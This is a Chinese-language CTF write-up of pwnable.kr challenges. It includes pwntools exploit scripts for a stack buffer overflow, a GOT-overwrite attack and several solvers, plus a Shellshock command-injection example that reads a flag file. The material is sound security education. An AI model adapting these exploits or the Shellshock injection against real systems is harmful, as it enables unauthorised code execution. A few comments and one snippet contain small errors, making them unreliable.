# pwnable.kr Write Up
###### tags: `CTF`
## 0. fd
- 原始碼

- read(fd, *buf, size):
- fd(file descriptor)
- 0: stdin(standard input: 從鍵盤輸入)
- 1: stdout
- 2: stderr
- 目標: 讓fd = 0,讓read可以順利再讀取"LETMEWIN"到buf中
- 使argv爲0x1234即可,轉爲十進制是4660
- atoi = 字符轉為integer
- 在terminal輸入"./fd 4660"後可以再輸入一行(就是要放進buf的東西),輸入"LETMEWIN"並送出就可以獲得flag

## 1. Collision
- 原始碼

- check_password(..20byte..): 會把20byte拆成5個int相加,只要等於hashcode(= 0x21DD09EC)就會噴flag
`Note: python *-c* <command>: 表示輸入command執行後的結果`
- 想法1: 0x0+0x0+0x0+0x0+0x21DD09EC
- 
- 想法2: 0x01010101 * 4 + 0x1dd90518
- 
- 想法1不成功的原因是因為0x00會被視為空字元,因此我們以為輸了20byte,其實只收到0x21DD09EC
- EX. 實際輸入22byte,但依然會成功(因為2個0x00被視為空字元)


## 2. bof
- 原始碼

- 只要讓key變成0xcafebabe即可:
- gets()不會檢查輸入長度,有bof漏洞
- 開 gdb
- 斷點下在call gets的地方候用ni,並輸入aaa...,a的ascii是61,因此知道overflowme會從0xbffff4cc開始寫
- 且0xbffff500就是0xdeadbeef位置,也就是我們要overflow成0xcafebabe的目標

- junk共有: 0xbffff500 - 0xbffff4cc = 0x34 == 52個byte

`Note: 'cat -'的作用是防止shell馬上被關掉,保持跟shell的連線`
- 也可以用pwntool
```python=
from pwn import *
#r = process("/media/sf_CTF/pwnable.kr/bof/bof")
r = remote('pwnable.kr', 9000)
gdb.attach(r)
r.recvuntil('overflow me :')
payload = flat('A'*52, 0xcafebabe)
r.sendline(payload)
r.interactive()
```
## 3.flag
- 先執行一次

- 題目說了這是個reverse題,所以丟進ida
- shift + f12先看字串
- 看到upx...?

- hex裡面也可以看到這支程式被upx加殼惹

- UPX是很簡單的殼,總之先脫殼(upx -d即可, -o可指定output file name)

- 脫殼之後的程式丟進ida就顯而易見了

- sub_400320不確定是什麼就丟進gdb跑跑看(會jmp到某個offset)

- 但其實沒差,點ida上的flag就可以找到flag惹

## 4.passcode
- 先執行一次

- 總之先把檔案從遠端載下來(scp可以幫忙 -P port no:/remote_path /local_path)

- 原始碼
```c=
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); //scanf用法錯誤,passcode前面沒有'&'
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); //一樣沒有&
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
```
:::info
1. 第9&14行的scanf沒有&(正常應該是類似scanf('%d', &a)),也就是說scanf其實完全無法寫入passcode,而是會把指到passcode的位址上的垃圾(之前stack的殘留物)當作passcode繼續執行
2. 第17行: passcode1 = 338150 = 0x528e6
passcode2 = 13371337 = 0xcc07c9
3. 第37&38行,先執行welcome在執行login,而且中間沒有多餘的操作,也就是說,這兩個function一開始執行的**esp & ebp一樣**
- welcome()執行前的esp & ebp

- login()執行前的esp & ebp

:::
- 直覺想法是用welcome()寫入name的buffer來操控login的passcode值,gdb看一下會發現name會被寫在0xffffd3f8,而且可以寫100byte

- scanf('%d', passcode1):
ebp-0x10=0xffffd458中的值會被當作passcode1要被寫入的位址,以下圖的例子就是passcode1會被寫成0xf7e4636b(這個值純粹是stack上的垃圾,所以如果這個值是不可寫的地址就會crash)

- 也就是說,要想辦法在welcome()去把0xffffd458蓋成0x528e6
- 同理,也要把passcode2 = ebp-0xc = 0xffffd45c蓋成0xcc07c9
- 但welcome()的name只寫100byte(0x64),蓋到passcode1需要0x60+4byte沒問題,但無法蓋到passcode2(0x60+4+4)QQ
- 第一種想法行不通,但用welcome()去蓋passcode的想法應該是對的,這時check一下保護機制看有沒有啥靈感
:::info
1. Partial RELRO表示Link map不可寫,但GOT可寫
2. 有Canary, stack有開NX,表示stack無法執行shellcode
3. 沒有開PIE,表示code段跟data段固定
:::

- passcode1跟2最大的區別在於scanf passcode1之後做了一個fflush(),login()裡面直接執行system("/bin/cat flag"),因為沒有PIE,所以這個system("/bin/cat flag")的位址固定
- call library時,會跳到plt,再從plt跳到GOT table中對應的位置(以下圖為例就是0x804a004)

也可以用objdump -R passcode查看

- system("/bin/cat flag")的位址用objdump查看,0x80487af是"/bin/cat flag"字串的所在位址

- 目標是把fflush()在GOT的位址(0x804a004)hijack成system("/bin/cat flag")的位址(0x80485e3)
- scanf("%d", passcode1)時會把ebp-0x10上的值當作輸入寫入的地方,所以在這之前(welcome()階段)要把ebp-0x10覆寫成fflush()的GOT位址
- 執行scanf(.., passcode1)時輸入0x80485e3,這樣就完成GOT的hijack(但scanf("%d"),所以要記得轉成str去放)
- 最後執行到fflush()時,實際上是執行0x80485e3的指令
- sol.py
```python=
from pwn import *
s = ssh(host = 'pwnable.kr', user = 'passcode', port = 2222, password = 'guest')
r = s.process('./passcode')
#r = process("/media/sf_CTF/pwnable.kr/4_passcode/passcode")
#gdb.attach(r)
fflush_got = 0x804a004
sys_cat_flag = 0x80485e3
payload = flat('A'*0x60, fflush_got, str(sys_cat_flag))
r.sendline(payload)
#welcome只會吃到fflush_got,str(sys_cat_flag)會被放在stdin中,
#login執行scanf時不需要輸入就會直接先吃進去stdin的東西
r.interactive()
```

- 如果要用gdb試可以:
```bash
printf 'a%.0s' {1..96} > /tmp/testing
echo '\x04\xa0\x04\x08' >> /tmp/testing
echo '134514147' >> /tmp/testing
再去gdb: r < /tmp/testing
```
## 5. random
- src code
```c=
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
```
- 想法:
1. 把rand()得到的值跟輸入的key做xor等於0xdeadbeef就可以得到flag
2. 漏洞在於rand()如果沒有先用srand()傳入seed(就相當於每次都是用srand(1))
**每次執行的結果其隨機數列順序會相同**

3. 所以只要先執行一次看rand()的回傳值(rax)就可以知道random的值
再把random ^ 0xdeadbeef就是key!!
- random = 0x6b8b4567 (即上面第一個產生的1804289383)
- 0x6b8b4567 ^ 0xdeadbeef = 0xB526FB88 = (int)3039230856

## 6. input
- input.c
```c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0; //argv[65]
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; //argv[66]
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4); //stdin
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4); //stderr
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
```
- stage1 :arrow_right: argv
- 通過條件
1. arg數量(argc)為100
2. argv[65] = argv['A'] = '\x00'
3. argv[66] = argv['B'] = '\x20\x0a\x0d'
- 解法
```python
from pwn import *
argvs = ['' for i in range(100)]
argvs[0] = './input' #path
argvs[65] = '\x00' #argv['A']
argvs[66] = '\x20\x0a\x0d' #argv['B']
r = process(argv = argvs)
r.interactive()
```
- 執行結果

- stage2 :arrow_right: stdio
- 通過條件
- stdin(0)裡面前4byte為\x00\x0a\x00\xff
- stderr(2)裡面前4byte為\x00\x0a\x02\xff
- 解法
```python
stdinfd = open('./stdin', 'w+') #w+:如果存在此檔案就寫入 不存在就創建此檔並寫入
stdinfd.write('\x00\x0a\x00\xff')
stdinfd.seek(0) #移動文件讀取指針到開頭
stderrfd = open('./stderr', 'w+')
stderrfd.write('\x00\x0a\x02\xff')
stderrfd.seek(0)
r = process(argv = argvs, stdin = stdinfd, stderr = stderrfd)
```
- 執行結果

- stage3 :right_arrow: env
- 通過條件
- 存在名為'\xde\xad\xbe\xef'的環境變數且值為'\xca\xfe\xba\xbe'
- 解法
```python
env = {'\xde\xad\xbe\xef' : '\xca\fe\xba\xbe'}
process(argv = argvs, stdin = stdinfd, stderr = stderrfd, env = env)
```
- 執行結果

- stage4 :arrow_right: file
- 通過條件
- 有個叫'\x0a'的檔案,前4byte為\x00\x00\x00\x00
- 解法
```python
with open('./\x0a', 'wb') as fd:
fd.write('\x00\x00\x00\x00')
```
- 遇到的問題
'\x0a'在本地端無論怎麼試都無法創造這樣檔名的檔案
於是嘗試直接在input2@pwnable.kr直接試
但因為/home/input2這個資料夾被設定為不可寫...
最後只好把'\x0a'放在/tmp/test底下
也只能整個sol都改成在/tmp/test底下執行

- stage5 :arrow_right: network
```c=
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY; //任意本地 IP 位址 通常是0x00000000 允許伺服器接受來自所有網路介面的連線
saddr.sin_port = htons( atoi(argv['C']) ); //取argv[67]的值為port號
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
```
- 通過條件:
- 開啟一個tcp監聽port(port號由argv['c']傳入)
- 向這個port發送"\xde\xad\xbe\ef"
- 解法
```python
argvs[67] = 6666
... #要先執行process()讓監聽port開啟
conn = remote('localhost', 6666)
conn.sendline('\xde\xad\xbe\xef')
```
- 但因為`/tmp/test`下沒有`flag`, 因此使用軟連結將`/home/input2/flag`連結到此目錄下
`ln -s /home/input2/flag flag`
- 最後結果

```python=
from pwn import *
import os
# stage 1
argvs = ['' for i in range(100)]
argvs[0] = '/home/input2/input'
argvs[65] = '\x00'
argvs[66] = '\x20\x0a\x0d'
# stage 2
r_stdin, w_stdin = os.pipe()
r_stderr, w_stderr = os.pipe()
os.write(w_stdin, b'\x00\x0a\x00\xff')
os.write(w_stderr, b'\x00\x0a\x02\xff')
# stage 3
env = {'\xde\xad\xbe\xef': '\xca\xfe\xba\xbe'}
# stage 4
with open('\x0a', 'w') as f:
f.write('\x00\x00\x00\x00')
# stage 5
argvs[67] = '6666'
r = process(argv = argvs,
stdin = r_stdin, stderr = r_stderr,
env = env)
conn = remote('localhost', 6666)
conn.sendline(b'\xde\xad\xbe\xef')
r.interactive()
```
## 7. leg
- ARM指令集&THUMB指令集切換
1. ARM指令會對齊4byte, THUMB對齊2byte
2. ARM的`bx` (Branch and Exchange)指令可以執行跳轉, 如果跳轉位址LSB(least significant bit)
- LSB=0 --> ARM模式
- LSB=1 --> THUMB模式
3. `blx`也可以執行跳轉,與上面不同的是, `blx`會保存return address到`LR`(Link Register)暫存器
4. ARM中有6個狀態暫存器,其中CPSR的T(Thumb)位控制模式
- 當使用`bx`或`blx`執行跳轉之後,會設置T位
- LSB=0 --> ASM模式 --> T=0
- LSB=1 --> THUMB模式 --> T=1
- ARM指令集calling convention (AAPCS)
1. 前四個參數用`r0-3`傳遞,後面的用stack
2. 返回值放在`r0`
3. SP(stack ptr)為`r13`
4. LR(link Reg)為`r14`
- ARM的pipeline
- 因為ARM指令地址為4byte對齊,可以用Pipeline提高執行效率
- 分成多個pipe (以4個pipe為例`fetch` --> `decode` --> `execute` --> `write`)
| \時間| t5 | t4 | t3 | t2 | t1 |
| ---- | ---- | ---- | ---- | ---- | ----|
|指令3 (x+8)| fetch | decode | execute | | |
|指令2 (x+4)| | fetch | decode | execute | |
|指令1(x) | | | fetch | decode |execute |
- pc指向<font color="red">fetch階段</font>的指令.因此,當指令1正在execute階段時, 此時pc應該為指令3的位址 (即實際正在的指令1的位址+8)
- 分析
1. 通過條件為 `key1()+key2()+key3() == key`, 其中`key`為輸入值
2. `key1()`的asm --> `key1 = 0x8ce4`
```asm
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc ; r3 = 0x8ce4 (pc指向下2個指令地址)
0x00008ce0 <+12>: mov r0, r3 ; r0 = 0x8ce0 (note: r0為返回值)
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
```
3. `key2()` --> `key2` = 0x8d0c
```asm
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1 ; r6 = 0x8d00+1
0x00008d00 <+16>: bx r6 ;切換成thumb模式 (LSB=1)
0x00008d04 <+20>: mov r3, pc ; r3 = 0x8d08
0x00008d06 <+22>: adds r3, #4 ; r3 = 0x8d0c
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc} ; pc = 0x8d0c
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3 ; r0=0x8d0a
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
```
4. `key3()` --> `key3` = 0x8d80
```asm
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr ; r3=lr=返回地址=main中bl key3的下一個指令位址=0x8d80
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
```
5. 因此key應該為0x8ce4+0x8d0c+0x8d80 = 0x1A770 = 108400

## 7. mistake
- 提示為: <font color="red">Operator Priority</font>
- main程式碼中這一段, 因為<font color="red">"<"的執行優先於"="</font>,因此會先執行 `open("/home/mistake/password",O_RDONLY,0400) < 0`的判斷,
而只要檔案存在, fd必定>0,因此判斷結果為false(即0)
故後續`=`行為中`fd`被賦值為0
```c
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0) {
printf("can't open password %d\n", fd);
return 0;
}
```
- 而`fd=0`代表為標準輸入,即由標準輸入中讀取10byte --> 因此password可控
- 分析: 後續由`xor()`程式碼分析可知為所有byte對1做xor
- eg. 1111111111 ^ 0000000000 = 111111111

## 8. shellshock
```c=
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
```
- Linux process的UID
1. ruid (real uid) : 創建該process的user id
2. euid (effective uid) : 該process的存取權限(通常=ruid)
3. suid (saved set-user-ID) : 用來保存process之前的euid,以便於改變權限之後恢復
- `!=` 文件的SUID (set user id) : 該檔案開放的存取權限
如果執行檔設置了suid,則所有user都可以透過執行這個檔案獲得root權限
- eg: `passwd`指令設置了suid (x位被設置成s), 因此當user以普通user權限執行`passwd`時, shell fork出一個subprocess, 而因為`/usr/bin/passwd`設置了suid, 因此subprocess會獲得root權限,因此可以修改`/etc/shadow`這個原本只能由root修改的檔案

- `setresuid()`: 在process執行過程中動態的改變process的ruid, euid, suid
1. 如果執行Process的euid為root(=0),可以設置成任何id
2. 如果執行Process的euid不是root,只能將id設置為(ruid, euid, suid其中之一)
eg: 假設ruid=100, euid=300, suid=200
執行`setresuid(200, 300, 100)` --> ruid=200, euid=300, suid=100
執行`setresuid(200, 300, 400)` --> 不成功, 維持ruid=100, euid=300, suid=200 (因為400不是其中一個id)

- Shellshock漏洞: bash中的漏洞,可以透過bash初始化環境變數執行任意命令
- bash允許通過環境變數傳遞函數定義, <font color='red'>但並未檢查函數結束之後有無額外的指令</font>
- eg.
```bash=
$ export myEnv= '() { :; }; echo "Vulnerable to shellshock"'
$ bash -c "echo test"
# result #
Vulnerable to shellshock
test
```
其中`()`表示函數開始, `{:;}`是一個空操作的函數定義
- 第二行`bash -c`會fork出一個child process, 會繼承Parent process的環境變數
- 因此當初始化環境變數時,child process會識別到`myEnv`是一個函數並嘗試解析其內容,而漏洞影響一併執行後續的惡意指令
- shellshock的修復方式: 檢查函數定義結束後是否還有額外代碼,如果有就reject其執行
- 題目分析
1. 這些檔案的權限如下,並且可以知道使用者是shellshock這個group, 不可以讀flag(因為其他人無權限)
- 但同群組權限為可讀 --> 可以透過shellshock開啟

2. `shellshock.c`告訴我們當shellshock被執行時,其所有id及gid會被修改成`shellshock_pwn` (原本應該是`shellshock`)
- 解法:
1. 由shellshock權限的user定義一個函數塞進環境變數, 此環境變數定義的函數功能要包含讀取flag(`cat ./flag`)
2. 當`./shellshock`時
1. shellshock的euid被設置成`shellshock_pwn`
2. 環境變數x被解析,執行後面的`/bin/cat ./flag`
- note: 必須指定`cat`檔案位置不然會找不到執行檔

## 9. coin1
- `nc`連接之後是一個遊戲:
- 有N枚硬幣,其中一個是假幣,要在C次秤重內找到假幣的index, 共有100輪, 需要在60秒內完成

- 使用binary search
```python=
from pwn import *
# r = remote('pwnable.kr', 9007)
# 遠端連線發現太慢...所以用之前的憑證登入並在`/tmp`下創建資料夾並改用localhost連線
r = remote('localhost', 9007)
r.recvuntil('- Ready? starting in 3 sec... -')
for i in range(100):
r.recvuntil('N=')
inf = r.recvline().decode('utf-8').strip().split(" C=")
N = int(inf[0])
C = int(inf[1])
print("[Round {}] N={}, C={}".format(i+1, N, C))
start = 0
end = N
for _ in range(C):
if (start == end) :
print("* Correct Ans is {}".format(int(start)))
break
mid = (start + end)//2
idx_str = ' '.join(str(i) for i in range(start, mid+1))
r.sendline(idx_str)
weight = int(r.recvline())
print("- Weight for idx from {} to {} is {}".format(start, mid, weight))
if (weight & 1 != 0):
end = mid
else:
start = mid + 1
r.sendline(str(start))
print(r.recvline())
r.interactive()
```


# 10. blackjack
- 是一個blackjack遊戲, [原始碼在這](https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html)
- 進入遊戲隨便玩一下會發現dealer同一局的total增加值經常相同


- 看原始碼發現其中產生隨機牌的`clubcard()`function中使用`srand(time(null))`來產生隨機數
- `time(null)`返回的是當前時間距離POSIX 時間(Unix Epoch)的秒數。POSIX 時間的起始點是1970 年 1 月 1 日 00:00:00(UTC),並且其<font color='red'>時間解析度只有一秒</font>(表示最小單位是一秒)
- 因此在同一秒內,`time(null)`值相同,`srand()`在種子相同時會產生相同的結果,造成一秒內產生的隨機數會相同
- 問題是在玩遊戲過程中還是無法掌握正確的隨機數....而且選擇需要時間
- 題目提示: 要一百萬才可以獲得flag
- 再看原始碼,發現`betting`函數中
```c=
int betting() //Asks user amount to bet
{
printf("\n\nEnter Bet: $");
scanf("%d", &bet);
if (bet > cash) //If player tries to bet more money than player has
// 問題一: 只檢查第一次
// 問題二: 如果bet是負數也可以通過檢查(這樣輸掉的時候cash-bet反而可以增加錢)
{
printf("\nYou cannot bet more money than you have.");
printf("\nEnter Bet: ");
scanf("%d", &bet);
// 沒有再檢查第二次
return bet;
}
else return bet;
} // End Function
```
- 解法1: 第一次輸入正的不合法的bet,第二次直接打1百萬,並贏得遊戲

- 解法2: 第一次輸入負一百萬,並直接輸掉比賽

## 11. lotto
- 看原始碼, 沒有考慮使用者是否輸入重複數字,因此在兌獎環節的時候,如果輸入byte全部一樣,只要有對中其中一個就可以全中
```c=
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
```
- 解法: 輸入全部一樣byte(需再1-45之間),運氣好的話幾次就中了
```python=
from pwn import *
s = ssh(host = 'pwnable.kr', user = 'lotto', port = 2222, password = 'guest')
r = s.process('./lotto')
result = b''
for _ in range(100):
r.recv()
r.sendline('1')
r.recv()
r.sendline('++++++')
r.recvline() # Lotto Start!
result = r.recvline() # bad luck... or flag
if (b'bad' not in result):
print(result)
break
```
